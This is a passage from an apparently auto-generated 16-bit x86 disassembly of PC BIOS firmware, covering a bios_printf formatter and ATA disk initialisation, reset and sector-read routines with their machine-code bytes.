call 017c7h ; e8 7d fe
inc bx ; 43
jmp short 0193ah ; eb ed
lea sp, [bp-004h] ; 8d 66 fc
pop si ; 5e
pop dx ; 5a
pop bp ; 5d
retn ; c3
put_str_near_: ; 0xf1954 LB 0x22
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
mov cx, ax ; 89 c1
mov bx, dx ; 89 d3
mov al, byte [bx] ; 8a 07
test al, al ; 84 c0
je short 0196fh ; 74 0c
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
mov ax, cx ; 89 c8
call 017c7h ; e8 5b fe
inc bx ; 43
jmp short 0195dh ; eb ee
lea sp, [bp-004h] ; 8d 66 fc
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
bios_printf_: ; 0xf1976 LB 0x34f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, strict byte 0001ch ; 83 ec 1c
lea bx, [bp+008h] ; 8d 5e 08
mov word [bp-016h], bx ; 89 5e ea
mov [bp-014h], ss ; 8c 56 ec
xor cx, cx ; 31 c9
xor di, di ; 31 ff
mov ax, word [bp+004h] ; 8b 46 04
and ax, strict word 00007h ; 25 07 00
cmp ax, strict word 00007h ; 3d 07 00
jne short 019a7h ; 75 0e
mov ax, 000deh ; b8 de 00
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 d2 ff
add sp, strict byte 00004h ; 83 c4 04
mov bx, word [bp+006h] ; 8b 5e 06
mov dl, byte [bx] ; 8a 17
test dl, dl ; 84 d2
je short 01a11h ; 74 61
cmp dl, 025h ; 80 fa 25
jne short 019bdh ; 75 08
mov cx, strict word 00001h ; b9 01 00
xor di, di ; 31 ff
jmp near 01ca3h ; e9 e6 02
test cx, cx ; 85 c9
je short 01a14h ; 74 53
cmp dl, 030h ; 80 fa 30
jc short 019e0h ; 72 1a
cmp dl, 039h ; 80 fa 39
jnbe short 019e0h ; 77 15
mov bl, dl ; 88 d3
xor bh, bh ; 30 ff
mov ax, di ; 89 f8
mov dx, strict word 0000ah ; ba 0a 00
mul dx ; f7 e2
sub bx, strict byte 00030h ; 83 eb 30
mov di, ax ; 89 c7
add di, bx ; 01 df
jmp near 01ca3h ; e9 c3 02
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les bx, [bp-016h] ; c4 5e ea
mov ax, word [es:bx-002h] ; 26 8b 47 fe
mov word [bp-00ch], ax ; 89 46 f4
cmp dl, 078h ; 80 fa 78
je short 019feh ; 74 05
cmp dl, 058h ; 80 fa 58
jne short 01a59h ; 75 5b
test di, di ; 85 ff
jne short 01a05h ; 75 03
mov di, strict word 00004h ; bf 04 00
cmp dl, 078h ; 80 fa 78
jne short 01a17h ; 75 0d
mov word [bp-00eh], strict word 00061h ; c7 46 f2 61 00
jmp short 01a1ch ; eb 0b
jmp near 01ca9h ; e9 95 02
jmp near 01c9bh ; e9 84 02
mov word [bp-00eh], strict word 00041h ; c7 46 f2 41 00
lea ax, [di-001h] ; 8d 45 ff
mov word [bp-012h], ax ; 89 46 ee
mov ax, word [bp-012h] ; 8b 46 ee
test ax, ax ; 85 c0
jl short 01a6ah ; 7c 41
mov cx, ax ; 89 c1
sal cx, 1 ; d1 e1
sal cx, 1 ; d1 e1
mov ax, word [bp-00ch] ; 8b 46 f4
shr ax, CL ; d3 e8
xor ah, ah ; 30 e4
and AL, strict byte 00fh ; 24 0f
cmp ax, strict word 00009h ; 3d 09 00
jnbe short 01a44h ; 77 07
mov dx, ax ; 89 c2
add dx, strict byte 00030h ; 83 c2 30
jmp short 01a4ch ; eb 08
sub ax, strict word 0000ah ; 2d 0a 00
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, ax ; 01 c2
xor dh, dh ; 30 f6
mov ax, word [bp+004h] ; 8b 46 04
call 017c7h ; e8 73 fd
dec word [bp-012h] ; ff 4e ee
jmp short 01a22h ; eb c9
cmp dl, 075h ; 80 fa 75
jne short 01a6dh ; 75 0f
xor cx, cx ; 31 c9
mov bx, di ; 89 fb
mov dx, ax ; 89 c2
mov ax, word [bp+004h] ; 8b 46 04
call 01865h ; e8 fb fd
jmp near 01c97h ; e9 2a 02
cmp dl, 06ch ; 80 fa 6c
jne short 01a7ah ; 75 08
mov bx, word [bp+006h] ; 8b 5e 06
cmp dl, byte [bx+001h] ; 3a 57 01
je short 01a7dh ; 74 03
jmp near 01b52h ; e9 d5 00
add word [bp+006h], strict byte 00002h ; 83 46 06 02
mov bx, word [bp+006h] ; 8b 5e 06
mov dl, byte [bx] ; 8a 17
mov word [bp-026h], ax ; 89 46 da
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les bx, [bp-016h] ; c4 5e ea
mov ax, word [es:bx-002h] ; 26 8b 47 fe
mov word [bp-024h], ax ; 89 46 dc
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les bx, [bp-016h] ; c4 5e ea
mov ax, word [es:bx-002h] ; 26 8b 47 fe
mov word [bp-022h], ax ; 89 46 de
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les bx, [bp-016h] ; c4 5e ea
mov ax, word [es:bx-002h] ; 26 8b 47 fe
mov word [bp-020h], ax ; 89 46 e0
cmp dl, 078h ; 80 fa 78
je short 01acfh ; 74 05
cmp dl, 058h ; 80 fa 58
jne short 01b2ah ; 75 5b
test di, di ; 85 ff
jne short 01ad6h ; 75 03
mov di, strict word 00010h ; bf 10 00
cmp dl, 078h ; 80 fa 78
jne short 01ae2h ; 75 07
mov word [bp-00eh], strict word 00061h ; c7 46 f2 61 00
jmp short 01ae7h ; eb 05
mov word [bp-00eh], strict word 00041h ; c7 46 f2 41 00
lea ax, [di-001h] ; 8d 45 ff
mov word [bp-012h], ax ; 89 46 ee
mov ax, word [bp-012h] ; 8b 46 ee
test ax, ax ; 85 c0
jl short 01b4fh ; 7c 5b
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov word [bp-01eh], ax ; 89 46 e2
xor ax, ax ; 31 c0
mov word [bp-01ch], ax ; 89 46 e4
mov word [bp-01ah], ax ; 89 46 e6
mov word [bp-018h], ax ; 89 46 e8
mov ax, word [bp-020h] ; 8b 46 e0
mov bx, word [bp-022h] ; 8b 5e de
mov cx, word [bp-024h] ; 8b 4e dc
mov dx, word [bp-026h] ; 8b 56 da
mov si, word [bp-01eh] ; 8b 76 e2
call 0a1a0h ; e8 88 86
mov ax, dx ; 89 d0
xor ah, dh ; 30 f4
and AL, strict byte 00fh ; 24 0f
cmp ax, strict word 00009h ; 3d 09 00
jnbe short 01b2ch ; 77 09
mov dx, ax ; 89 c2
add dx, strict byte 00030h ; 83 c2 30
jmp short 01b34h ; eb 0a
jmp short 01b41h ; eb 15
sub ax, strict word 0000ah ; 2d 0a 00
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, ax ; 01 c2
xor dh, dh ; 30 f6
mov ax, word [bp+004h] ; 8b 46 04
call 017c7h ; e8 8b fc
dec word [bp-012h] ; ff 4e ee
jmp short 01aedh ; eb ac
mov ax, 000e6h ; b8 e6 00
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 2a fe
add sp, strict byte 00004h ; 83 c4 04
jmp near 01c97h ; e9 45 01
lea bx, [di-001h] ; 8d 5d ff
cmp dl, 06ch ; 80 fa 6c
jne short 01bb2h ; 75 58
inc word [bp+006h] ; ff 46 06
mov si, word [bp+006h] ; 8b 76 06
mov dl, byte [si] ; 8a 14
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les si, [bp-016h] ; c4 76 ea
mov ax, word [es:si-002h] ; 26 8b 44 fe
mov word [bp-010h], ax ; 89 46 f0
cmp dl, 064h ; 80 fa 64
jne short 01babh ; 75 30
test byte [bp-00fh], 080h ; f6 46 f1 80
je short 01b98h ; 74 17
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov ax, word [bp-00ch] ; 8b 46 f4
mov cx, word [bp-010h] ; 8b 4e f0
neg cx ; f7 d9
neg ax ; f7 d8
sbb cx, strict byte 00000h ; 83 d9 00
mov dx, bx ; 89 da
mov bx, ax ; 89 c3
jmp short 01ba3h ; eb 0b
xor ax, ax ; 31 c0
push ax ; 50
mov bx, word [bp-00ch] ; 8b 5e f4
mov dx, di ; 89 fa
mov cx, word [bp-010h] ; 8b 4e f0
mov ax, word [bp+004h] ; 8b 46 04
call 018c3h ; e8 1a fd
jmp short 01b4fh ; eb a4
cmp dl, 075h ; 80 fa 75
jne short 01bb4h ; 75 04
jmp short 01b98h ; eb e6
jmp short 01c1bh ; eb 67
cmp dl, 078h ; 80 fa 78
je short 01bbeh ; 74 05
cmp dl, 058h ; 80 fa 58
jne short 01b4fh ; 75 91
test di, di ; 85 ff
jne short 01bc5h ; 75 03
mov di, strict word 00008h ; bf 08 00
cmp dl, 078h ; 80 fa 78
jne short 01bd1h ; 75 07
mov word [bp-00eh], strict word 00061h ; c7 46 f2 61 00
jmp short 01bd6h ; eb 05
mov word [bp-00eh], strict word 00041h ; c7 46 f2 41 00
lea ax, [di-001h] ; 8d 45 ff
mov word [bp-012h], ax ; 89 46 ee
cmp word [bp-012h], strict byte 00000h ; 83 7e ee 00
jl short 01c3dh ; 7c 5b
mov ax, word [bp-00ch] ; 8b 46 f4
mov cx, word [bp-012h] ; 8b 4e ee
sal cx, 1 ; d1 e1
sal cx, 1 ; d1 e1
mov dx, word [bp-010h] ; 8b 56 f0
jcxz 01bf7h ; e3 06
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 01bf1h ; e2 fa
and ax, strict word 0000fh ; 25 0f 00
cmp ax, strict word 00009h ; 3d 09 00
jnbe short 01c06h ; 77 07
mov dx, ax ; 89 c2
add dx, strict byte 00030h ; 83 c2 30
jmp short 01c0eh ; eb 08
sub ax, strict word 0000ah ; 2d 0a 00
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, ax ; 01 c2
xor dh, dh ; 30 f6
mov ax, word [bp+004h] ; 8b 46 04
call 017c7h ; e8 b1 fb
dec word [bp-012h] ; ff 4e ee
jmp short 01bdch ; eb c1
cmp dl, 064h ; 80 fa 64
jne short 01c3fh ; 75 1f
test byte [bp-00bh], 080h ; f6 46 f5 80
je short 01c30h ; 74 0a
mov dx, word [bp-00ch] ; 8b 56 f4
neg dx ; f7 da
mov cx, strict word 00001h ; b9 01 00
jmp short 01c37h ; eb 07
xor cx, cx ; 31 c9
mov bx, di ; 89 fb
mov dx, word [bp-00ch] ; 8b 56 f4
mov ax, word [bp+004h] ; 8b 46 04
call 01802h ; e8 c5 fb
jmp short 01c97h ; eb 58
cmp dl, 073h ; 80 fa 73
jne short 01c51h ; 75 0d
mov cx, ds ; 8c d9
mov bx, word [bp-00ch] ; 8b 5e f4
mov ax, word [bp+004h] ; 8b 46 04
call 01933h ; e8 e4 fc
jmp short 01c97h ; eb 46
cmp dl, 053h ; 80 fa 53
jne short 01c77h ; 75 21
mov ax, word [bp-00ch] ; 8b 46 f4
mov word [bp-010h], ax ; 89 46 f0
mov ax, word [bp-014h] ; 8b 46 ec
mov word [bp-014h], ax ; 89 46 ec
add word [bp-016h], strict byte 00002h ; 83 46 ea 02
les bx, [bp-016h] ; c4 5e ea
mov ax, word [es:bx-002h] ; 26 8b 47 fe
mov word [bp-00ch], ax ; 89 46 f4
mov bx, ax ; 89 c3
mov cx, word [bp-010h] ; 8b 4e f0
jmp short 01c49h ; eb d2
cmp dl, 063h ; 80 fa 63
jne short 01c89h ; 75 0d
mov dl, byte [bp-00ch] ; 8a 56 f4
xor dh, dh ; 30 f6
mov ax, word [bp+004h] ; 8b 46 04
call 017c7h ; e8 40 fb
jmp short 01c97h ; eb 0e
mov ax, 00107h ; b8 07 01
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 e2 fc
add sp, strict byte 00004h ; 83 c4 04
xor cx, cx ; 31 c9
jmp short 01ca3h ; eb 08
xor dh, dh ; 30 f6
mov ax, word [bp+004h] ; 8b 46 04
call 017c7h ; e8 24 fb
inc word [bp+006h] ; ff 46 06
jmp near 019a7h ; e9 fe fc
xor ax, ax ; 31 c0
mov word [bp-016h], ax ; 89 46 ea
mov word [bp-014h], ax ; 89 46 ec
test byte [bp+004h], 001h ; f6 46 04 01
je short 01cbbh ; 74 04
cli ; fa
hlt ; f4
jmp short 01cb8h ; eb fd
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
_ata_init: ; 0xf1cc5 LB 0xf3
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 9b f9
mov si, 00122h ; be 22 01
mov di, ax ; 89 c7
xor cl, cl ; 30 c9
jmp short 01ce1h ; eb 05
cmp cl, 004h ; 80 f9 04
jnc short 01d0eh ; 73 2d
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
mov bx, strict word 00006h ; bb 06 00
imul bx ; f7 eb
mov es, di ; 8e c7
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov byte [es:bx+00204h], 000h ; 26 c6 87 04 02 00
mov word [es:bx+00206h], strict word 00000h ; 26 c7 87 06 02 00 00
mov word [es:bx+00208h], strict word 00000h ; 26 c7 87 08 02 00 00
mov byte [es:bx+00205h], 000h ; 26 c6 87 05 02 00
db 0feh, 0c1h
; inc cl ; fe c1
jmp short 01cdch ; eb ce
xor cl, cl ; 30 c9
jmp short 01d17h ; eb 05
cmp cl, 008h ; 80 f9 08
jnc short 01d82h ; 73 6b
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
mov bx, strict word 0001ch ; bb 1c 00
imul bx ; f7 eb
mov es, di ; 8e c7
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov word [es:bx+022h], strict word 00000h ; 26 c7 47 22 00 00
mov word [es:bx+024h], strict word 00000h ; 26 c7 47 24 00 00
mov byte [es:bx+026h], 000h ; 26 c6 47 26 00
mov word [es:bx+028h], 00200h ; 26 c7 47 28 00 02
mov byte [es:bx+027h], 000h ; 26 c6 47 27 00
mov word [es:bx+02ah], strict word 00000h ; 26 c7 47 2a 00 00
mov word [es:bx+02ch], strict word 00000h ; 26 c7 47 2c 00 00
mov word [es:bx+02eh], strict word 00000h ; 26 c7 47 2e 00 00
mov word [es:bx+030h], strict word 00000h ; 26 c7 47 30 00 00
mov word [es:bx+032h], strict word 00000h ; 26 c7 47 32 00 00
mov word [es:bx+034h], strict word 00000h ; 26 c7 47 34 00 00
mov word [es:bx+03ch], strict word 00000h ; 26 c7 47 3c 00 00
mov word [es:bx+03ah], strict word 00000h ; 26 c7 47 3a 00 00
mov word [es:bx+038h], strict word 00000h ; 26 c7 47 38 00 00
mov word [es:bx+036h], strict word 00000h ; 26 c7 47 36 00 00
db 0feh, 0c1h
; inc cl ; fe c1
jmp short 01d12h ; eb 90
xor cl, cl ; 30 c9
jmp short 01d8bh ; eb 05
cmp cl, 010h ; 80 f9 10
jnc short 01da3h ; 73 18
mov bl, cl ; 88 cb
xor bh, bh ; 30 ff
mov es, di ; 8e c7
add bx, si ; 01 f3
mov byte [es:bx+001e3h], 010h ; 26 c6 87 e3 01 10
mov byte [es:bx+001f4h], 010h ; 26 c6 87 f4 01 10
db 0feh, 0c1h
; inc cl ; fe c1
jmp short 01d86h ; eb e3
mov es, di ; 8e c7
mov byte [es:si+001e2h], 000h ; 26 c6 84 e2 01 00
mov byte [es:si+001f3h], 000h ; 26 c6 84 f3 01 00
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
ata_reset_: ; 0xf1db8 LB 0xe5
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
push ax ; 50
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 a2 f8
mov es, ax ; 8e c0
mov di, 00122h ; bf 22 01
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [bp-010h] ; 8b 46 f0
shr ax, 1 ; d1 e8
mov ah, byte [bp-010h] ; 8a 66 f0
and ah, 001h ; 80 e4 01
mov byte [bp-00ch], ah ; 88 66 f4
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
add bx, di ; 01 fb
mov cx, word [es:bx+00206h] ; 26 8b 8f 06 02
mov si, word [es:bx+00208h] ; 26 8b b7 08 02
lea dx, [si+006h] ; 8d 54 06
mov AL, strict byte 00eh ; b0 0e
out DX, AL ; ee
mov bx, 000ffh ; bb ff 00
dec bx ; 4b
test bx, bx ; 85 db
jbe short 01e11h ; 76 0c
mov dx, cx ; 89 ca
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
je short 01e00h ; 74 ef
lea dx, [si+006h] ; 8d 54 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
mov ax, word [bp-010h] ; 8b 46 f0
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-00eh] ; 8e 46 f2
mov bx, di ; 89 fb
add bx, ax ; 01 c3
cmp byte [es:bx+022h], 000h ; 26 80 7f 22 00
je short 01e79h ; 74 4c
cmp byte [bp-00ch], 000h ; 80 7e f4 00
je short 01e38h ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 01e3bh ; eb 03
mov ax, 000a0h ; b8 a0 00
mov dx, cx ; 89 ca
add dx, strict byte 00006h ; 83 c2 06
out DX, AL ; ee
mov dx, cx ; 89 ca
inc dx ; 42
inc dx ; 42
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
add dx, strict byte 00003h ; 83 c2 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp bl, 001h ; 80 fb 01
jne short 01e79h ; 75 22
cmp al, bl ; 38 d8
jne short 01e79h ; 75 1e
mov bx, strict word 0ffffh ; bb ff ff
dec bx ; 4b
test bx, bx ; 85 db
jbe short 01e79h ; 76 16
mov dx, cx ; 89 ca
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
je short 01e79h ; 74 0a
mov ax, strict word 0ffffh ; b8 ff ff
dec ax ; 48
test ax, ax ; 85 c0
jnbe short 01e72h ; 77 fb
jmp short 01e5eh ; eb e5
mov bx, strict word 00010h ; bb 10 00
dec bx ; 4b
test bx, bx ; 85 db
jbe short 01e8dh ; 76 0c
mov dx, cx ; 89 ca
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 040h ; a8 40
je short 01e7ch ; 74 ef
lea dx, [si+006h] ; 8d 54 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
ata_cmd_data_in_: ; 0xf1e9d LB 0x2b7
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00010h ; 83 ec 10
push ax ; 50
push dx ; 52
push bx ; 53
push cx ; 51
mov es, dx ; 8e c2
mov bx, ax ; 89 c3
mov al, byte [es:bx+00ch] ; 26 8a 47 0c
mov byte [bp-008h], al ; 88 46 f8
mov bl, al ; 88 c3
xor bh, ah ; 30 e7
mov ax, bx ; 89 d8
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov di, word [bp-016h] ; 8b 7e ea
add di, ax ; 01 c7
mov ax, word [es:di+00206h] ; 26 8b 85 06 02
mov word [bp-00ah], ax ; 89 46 f6
mov ax, word [es:di+00208h] ; 26 8b 85 08 02
mov word [bp-00ch], ax ; 89 46 f4
mov ax, bx ; 89 d8
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, word [bp-016h] ; 8b 5e ea
add bx, ax ; 01 c3
mov ax, word [es:bx+028h] ; 26 8b 47 28
mov word [bp-00eh], ax ; 89 46 f2
test ax, ax ; 85 c0
jne short 01ef7h ; 75 07
mov word [bp-00eh], 08000h ; c7 46 f2 00 80
jmp short 01efah ; eb 03
shr word [bp-00eh], 1 ; d1 6e f2
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
je short 01f16h ; 74 0f
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00001h ; b8 01 00
jmp near 0214dh ; e9 37 02
mov es, [bp-018h] ; 8e 46 e8
mov di, word [bp-016h] ; 8b 7e ea
mov di, word [es:di+008h] ; 26 8b 7d 08
mov bx, word [bp-016h] ; 8b 5e ea
mov ax, word [es:bx+00ah] ; 26 8b 47 0a
mov word [bp-012h], ax ; 89 46 ee
mov al, byte [es:bx+016h] ; 26 8a 47 16
mov byte [bp-006h], al ; 88 46 fa
mov ax, word [es:bx+012h] ; 26 8b 47 12
mov word [bp-010h], ax ; 89 46 f0
mov bl, byte [es:bx+014h] ; 26 8a 5f 14
mov al, byte [bp-006h] ; 8a 46 fa
test al, al ; 84 c0
je short 01f46h ; 74 03
jmp near 0202bh ; e9 e5 00
xor ah, ah ; 30 e4
xor bx, bx ; 31 db
mov word [bp-014h], bx ; 89 5e ec
mov si, word [bp-016h] ; 8b 76 ea
mov cx, word [es:si] ; 26 8b 0c
add cx, word [bp-01ch] ; 03 4e e4
adc ax, word [es:si+002h] ; 26 13 44 02
adc bx, word [es:si+004h] ; 26 13 5c 04
mov dx, word [es:si+006h] ; 26 8b 54 06
adc dx, word [bp-014h] ; 13 56 ec
test dx, dx ; 85 d2
jnbe short 01f7bh ; 77 12
je short 01f6eh ; 74 03
jmp near 01fe1h ; e9 73 00
test bx, bx ; 85 db
jnbe short 01f7bh ; 77 09
jne short 01fe1h ; 75 6d
cmp ax, 01000h ; 3d 00 10
jnbe short 01f7bh ; 77 02
jne short 01fe1h ; 75 66
mov bx, si ; 89 f3
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00018h ; be 18 00
call 0a1a0h ; e8 0e 82
xor dh, dh ; 30 f6
mov word [bp-014h], dx ; 89 56 ec
mov bx, word [bp-016h] ; 8b 5e ea
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-016h] ; 8b 76 ea
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00020h ; be 20 00
call 0a1a0h ; e8 ee 81
mov bx, dx ; 89 d3
mov word [bp-010h], dx ; 89 56 f0
mov ax, word [bp-01ch] ; 8b 46 e4
mov al, ah ; 88 e0
mov dx, word [bp-00ah] ; 8b 56 f6
inc dx ; 42
inc dx ; 42
out DX, AL ; ee
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00003h ; 83 c2 03
mov al, byte [bp-014h] ; 8a 46 ec
out DX, AL ; ee
xor bh, bh ; 30 ff
mov ax, bx ; 89 d8
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00004h ; 83 c2 04
out DX, AL ; ee
mov al, byte [bp-00fh] ; 8a 46 f1
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00005h ; 83 c2 05
out DX, AL ; ee
mov es, [bp-018h] ; 8e 46 e8
mov bx, word [bp-016h] ; 8b 5e ea
mov ax, word [es:bx] ; 26 8b 07
mov byte [bp-006h], al ; 88 46 fa
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-016h] ; 8b 76 ea
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00008h ; be 08 00
call 0a1a0h ; e8 9b 81
mov word [bp-010h], dx ; 89 56 f0
mov bx, word [bp-016h] ; 8b 5e ea
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-016h] ; 8b 76 ea
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00018h ; be 18 00
call 0a1a0h ; e8 7d 81
mov bl, dl ; 88 d3
and bl, 00fh ; 80 e3 0f
or bl, 040h ; 80 cb 40
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
mov dx, word [bp-00ah] ; 8b 56 f6
inc dx ; 42
xor al, al ; 30 c0
out DX, AL ; ee
mov dx, word [bp-00ah] ; 8b 56 f6
inc dx ; 42
inc dx ; 42
mov al, byte [bp-01ch] ; 8a 46 e4
out DX, AL ; ee
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00003h ; 83 c2 03
mov al, byte [bp-006h] ; 8a 46 fa
out DX, AL ; ee
mov ax, word [bp-010h] ; 8b 46 f0
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00004h ; 83 c2 04
out DX, AL ; ee
mov al, byte [bp-00fh] ; 8a 46 f1
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00005h ; 83 c2 05
out DX, AL ; ee
test byte [bp-008h], 001h ; f6 46 f8 01
je short 0206dh ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 02070h ; eb 03
mov ax, 000a0h ; b8 a0 00
mov dl, bl ; 88 da
xor dh, dh ; 30 f6
or ax, dx ; 09 d0
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00006h ; 83 c2 06
out DX, AL ; ee
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00007h ; 83 c2 07
mov al, byte [bp-01ah] ; 8a 46 e6
out DX, AL ; ee
mov ax, word [bp-01ah] ; 8b 46 e6
cmp ax, 000c4h ; 3d c4 00
je short 02094h ; 74 05
cmp ax, strict word 00029h ; 3d 29 00
jne short 0209eh ; 75 0a
mov si, word [bp-01ch] ; 8b 76 e4
mov word [bp-01ch], strict word 00001h ; c7 46 e4 01 00
jmp short 020a1h ; eb 03
mov si, strict word 00001h ; be 01 00
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 020a1h ; 75 f1
test AL, strict byte 001h ; a8 01
je short 020c3h ; 74 0f
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00002h ; b8 02 00
jmp near 0214dh ; e9 8a 00
test bl, 008h ; f6 c3 08
jne short 020d7h ; 75 0f
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00003h ; b8 03 00
jmp near 0214dh ; e9 76 00
sti ; fb
cmp di, 0f800h ; 81 ff 00 f8
jc short 020ebh ; 72 0d
sub di, 00800h ; 81 ef 00 08
mov ax, word [bp-012h] ; 8b 46 ee
add ax, 00080h ; 05 80 00
mov word [bp-012h], ax ; 89 46 ee
mov dx, word [bp-00ah] ; 8b 56 f6
mov cx, word [bp-00eh] ; 8b 4e f2
mov es, [bp-012h] ; 8e 46 ee
rep insw ; f3 6d
mov es, [bp-018h] ; 8e 46 e8
mov bx, word [bp-016h] ; 8b 5e ea
add word [es:bx+018h], si ; 26 01 77 18
dec word [bp-01ch] ; ff 4e e4
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, al ; 88 c3
test AL, strict byte 080h ; a8 80
jne short 02103h ; 75 f1
cmp word [bp-01ch], strict byte 00000h ; 83 7e e4 00
jne short 0212ch ; 75 14
and AL, strict byte 0c9h ; 24 c9
cmp AL, strict byte 040h ; 3c 40
je short 02142h ; 74 24
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00004h ; b8 04 00
